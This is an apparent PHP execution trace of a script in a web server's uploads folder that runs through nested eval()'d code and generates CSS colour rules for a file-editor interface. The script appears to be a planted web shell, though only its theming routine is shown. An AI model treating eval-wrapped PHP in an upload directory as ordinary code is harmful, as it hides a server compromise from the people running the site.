8 199 0 0.066655 3797856 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'main_actions'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main .actions' => 'color: {color};']]
8 199 1 0.066692 3797856
8 199 R '#FFFFFF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#FFFFFF'
8 200 0 0.066718 3797856 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#FFFFFF' 'color: {color};'
8 200 1 0.066736 3797992
8 200 R 'color: #FFFFFF;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'color: #FFFFFF;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.main .actions{color: #FFFFFF;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'minimize_editor_background'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.minimized-wrapper'
8 201 0 0.066805 3797832 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'minimize_editor_background'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#0e304a', 'multi_selector' => ['.minimized-wrapper' => 'background-color: {color};']]
8 201 1 0.066840 3797832
8 201 R '#0e304a'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#0e304a'
8 202 0 0.066867 3797832 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#0e304a' 'background-color: {color};'
8 202 1 0.066884 3797984
8 202 R 'background-color: #0e304a;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'background-color: #0e304a;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.minimized-wrapper{background-color: #0e304a;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'minimize_editor_text'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.minimized-text'
8 203 0 0.066956 3797848 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'minimize_editor_text'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#f5deb3', 'multi_selector' => ['.minimized-text' => 'color: {color};']]
8 203 1 0.066991 3797848
8 203 R '#f5deb3'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#f5deb3'
8 204 0 0.067018 3797848 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#f5deb3' 'color: {color};'
8 204 1 0.067035 3797984
8 204 R 'color: #f5deb3;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'color: #f5deb3;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.minimized-text{color: #f5deb3;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'editor_border'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.editor-explorer,.editor-modal'
8 205 0 0.067105 3798088 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'editor_border'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#0e304a', 'multi_selector' => ['.editor-explorer,.editor-modal' => 'border: 2px solid {color};']]
8 205 1 0.067141 3798088
8 205 R '#0e304a'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#0e304a'
8 206 0 0.067167 3798088 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#0e304a' 'border: 2px solid {color};'
8 206 1 0.067185 3798240
8 206 R 'border: 2px solid #0e304a;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'border: 2px solid #0e304a;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.editor-explorer,.editor-modal{border: 2px solid #0e304a;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'editor_background'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.editor-explorer,.editor-modal'
8 207 0 0.067260 3798104 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'editor_background'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => 'rgba(0, 1, 23, 0.94)', 'multi_selector' => ['.editor-explorer,.editor-modal' => 'background-color: {color};']]
8 207 1 0.067297 3798104
8 207 R 'rgba(0, 1, 23, 0.94)'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = 'rgba(0, 1, 23, 0.94)'
8 208 0 0.067325 3798104 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' 'rgba(0, 1, 23, 0.94)' 'background-color: {color};'
8 208 1 0.067343 3798280
8 208 R 'background-color: rgba(0, 1, 23, 0.94);'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'background-color: rgba(0, 1, 23, 0.94);'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.editor-explorer,.editor-modal{background-color: rgba(0, 1, 23, 0.94);}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'editor_header_background'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.editor-header'
8 209 0 0.067417 3798128 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'editor_header_background'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => 'rgba(21, 66, 88, 0.93)', 'multi_selector' => ['.editor-header' => 'background-color: {color};']]
8 209 1 0.067452 3798128
8 209 R 'rgba(21, 66, 88, 0.93)'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = 'rgba(21, 66, 88, 0.93)'
8 210 0 0.067481 3798128 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' 'rgba(21, 66, 88, 0.93)' 'background-color: {color};'
8 210 1 0.067499 3798304
8 210 R 'background-color: rgba(21, 66, 88, 0.93);'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'background-color: rgba(21, 66, 88, 0.93);'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.editor-header{background-color: rgba(21, 66, 88, 0.93);}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'editor_header_text'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.editor-path'
8 211 0 0.067571 3798128 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'editor_header_text'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#00ff7f', 'multi_selector' => ['.editor-path' => 'color: {color};']]
8 211 1 0.067605 3798128
8 211 R '#00ff7f'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#00ff7f'
8 212 0 0.067632 3798128 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#00ff7f' 'color: {color};'
8 212 1 0.067649 3798264
8 212 R 'color: #00ff7f;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'color: #00ff7f;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.editor-path{color: #00ff7f;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'editor_header_button'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.close-button, .editor-minimize'
8 213 0 0.067722 3798088 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'editor_header_button'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#1d5673', 'multi_selector' => ['.close-button, .editor-minimize' => 'background-color: {color};']]
8 213 1 0.067757 3798088
8 213 R '#1d5673'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#1d5673'
8 214 0 0.067784 3798088 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#1d5673' 'background-color: {color};'
8 214 1 0.067802 3798240
8 214 R 'background-color: #1d5673;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'background-color: #1d5673;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.close-button, .editor-minimize{background-color: #1d5673;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'editor_actions'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.editor_actions'
8 215 0 0.067874 3798360 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'editor_actions'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.editor_actions' => 'color: {color};']]
8 215 1 0.067909 3798360
8 215 R '#FFFFFF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#FFFFFF'
8 216 0 0.067935 3798360 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#FFFFFF' 'color: {color};'
8 216 1 0.067953 3798496
8 216 R 'color: #FFFFFF;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'color: #FFFFFF;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.editor_actions{color: #FFFFFF;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'editor_file_info_vars'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.editor_file_info_vars'
8 217 0 0.068022 3798344 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'editor_file_info_vars'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.editor_file_info_vars' => 'color: {color};']]
8 217 1 0.068057 3798344
8 217 R '#FFFFFF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#FFFFFF'
8 218 0 0.068083 3798344 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#FFFFFF' 'color: {color};'
8 218 1 0.068100 3798480
8 218 R 'color: #FFFFFF;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'color: #FFFFFF;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.editor_file_info_vars{color: #FFFFFF;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'editor_file_info_values'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.filestools'
8 219 0 0.068170 3798344 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'editor_file_info_values'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#67ABDF', 'multi_selector' => ['.filestools' => 'color: {color};']]
8 219 1 0.068208 3798344
8 219 R '#67ABDF'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#67ABDF'
8 220 0 0.068235 3798344 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#67ABDF' 'color: {color};'
8 220 1 0.068253 3798480
8 220 R 'color: #67ABDF;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'color: #67ABDF;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.filestools{color: #67ABDF;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'editor_history_header'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.hheader-text,.history-clear'
8 221 0 0.068324 3798344 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'editor_history_header'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#14ff07', 'multi_selector' => ['.hheader-text,.history-clear' => 'color: {color};']]
8 221 1 0.068358 3798344
8 221 R '#14ff07'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#14ff07'
8 222 0 0.068384 3798344 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#14ff07' 'color: {color};'
8 222 1 0.068401 3798480
8 222 R 'color: #14ff07;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'color: #14ff07;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.hheader-text,.history-clear{color: #14ff07;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'editor_history_list'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.editor-file-name'
8 223 0 0.068471 3798344 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'editor_history_list'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#03b3a3', 'multi_selector' => ['.editor-file-name' => 'color: {color};']]
8 223 1 0.068505 3798344
8 223 R '#03b3a3'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#03b3a3'
8 224 0 0.068532 3798344 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#03b3a3' 'color: {color};'
8 224 1 0.068549 3798480
8 224 R 'color: #03b3a3;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'color: #03b3a3;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.editor-file-name{color: #03b3a3;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'editor_history_selected_file'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.is_active'
8 225 0 0.068619 3798344 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'editor_history_selected_file'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => 'rgba(49, 55, 93, 0.77)', 'multi_selector' => ['.is_active' => 'background-color: {color};']]
8 225 1 0.068654 3798344
8 225 R 'rgba(49, 55, 93, 0.77)'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = 'rgba(49, 55, 93, 0.77)'
8 226 0 0.068683 3798344 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' 'rgba(49, 55, 93, 0.77)' 'background-color: {color};'
8 226 1 0.068703 3798520
8 226 R 'background-color: rgba(49, 55, 93, 0.77);'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'background-color: rgba(49, 55, 93, 0.77);'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.is_active{background-color: rgba(49, 55, 93, 0.77);}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'editor_history_file:hover'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = '.file-holder > .history:hover'
8 227 0 0.068779 3798896 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'editor_history_file:hover'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#646464', 'multi_selector' => ['.file-holder > .history:hover' => 'background-color: {color};']]
8 227 1 0.068814 3798896
8 227 R '#646464'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#646464'
8 228 0 0.068840 3798896 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#646464' 'background-color: {color};'
8 228 1 0.068858 3799048
8 228 R 'background-color: #646464;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'background-color: #646464;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= '.file-holder > .history:hover{background-color: #646464;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'input_box_border'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = 'input[type=text],textarea'
8 229 0 0.068932 3798872 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'input_box_border'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#0E304A', 'multi_selector' => ['input[type=text],textarea' => 'border: 1px solid {color}']]
8 229 1 0.068968 3798872
8 229 R '#0E304A'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#0E304A'
8 230 0 0.068994 3798872 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#0E304A' 'border: 1px solid {color}'
8 230 1 0.069011 3799024
8 230 R 'border: 1px solid #0E304A'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'border: 1px solid #0E304A'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= 'input[type=text],textarea{border: 1px solid #0E304A}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'input_box_text'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = 'input[type=text],textarea'
8 231 0 0.069084 3798872 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'input_box_text'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#999999', 'multi_selector' => ['input[type=text],textarea' => 'color: {color};']]
8 231 1 0.069130 3798872
8 231 R '#999999'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#999999'
8 232 0 0.069157 3798872 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#999999' 'color: {color};'
8 232 1 0.069175 3799008
8 232 R 'color: #999999;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'color: #999999;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= 'input[type=text],textarea{color: #999999;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'input_box:hover'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = 'input[type=text]:hover,textarea:hover'
8 233 0 0.069254 3798856 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'input_box:hover'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=text]:hover,textarea:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
8 233 1 0.069290 3798856
8 233 R '#27979B'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#27979B'
8 234 0 0.069316 3798856 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:1px solid {color};'
8 234 1 0.069335 3799032
8 234 R 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= 'input[type=text]:hover,textarea:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'select_box_border'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = 'select'
8 235 0 0.069411 3798896 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'select_box_border'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#0E304A', 'multi_selector' => ['select' => 'border: 1px solid {color}']]
8 235 1 0.069445 3798896
8 235 R '#0E304A'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#0E304A'
8 236 0 0.069472 3798896 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#0E304A' 'border: 1px solid {color}'
8 236 1 0.069489 3799048
8 236 R 'border: 1px solid #0E304A'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'border: 1px solid #0E304A'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= 'select{border: 1px solid #0E304A}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'select_box_text'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = 'select'
8 237 0 0.069559 3798872 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'select_box_text'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#FFFFEE', 'multi_selector' => ['select' => 'color: {color};']]
8 237 1 0.069593 3798872
8 237 R '#FFFFEE'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#FFFFEE'
8 238 0 0.069620 3798872 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#FFFFEE' 'color: {color};'
8 238 1 0.069638 3799008
8 238 R 'color: #FFFFEE;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'color: #FFFFEE;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= 'select{color: #FFFFEE;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'select_box:hover'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = 'select:hover'
8 239 0 0.069710 3798856 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'select_box:hover'
8 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 448 $target = ['key_color' => '#27979B', 'multi_selector' => ['select:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
8 239 1 0.069745 3798856
8 239 R '#27979B'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 $color = '#27979B'
8 240 0 0.069772 3798856 str_replace 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:1px solid {color};'
8 240 1 0.069790 3799032
8 240 R 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 466 $code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 467 $css .= 'select:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 458 $key = 'button_border'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 464 $k = 'input[type=submit],.button,#addup'
8 241 0 0.069866 3798896 alfa_getColor 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 465 1 'button_border'
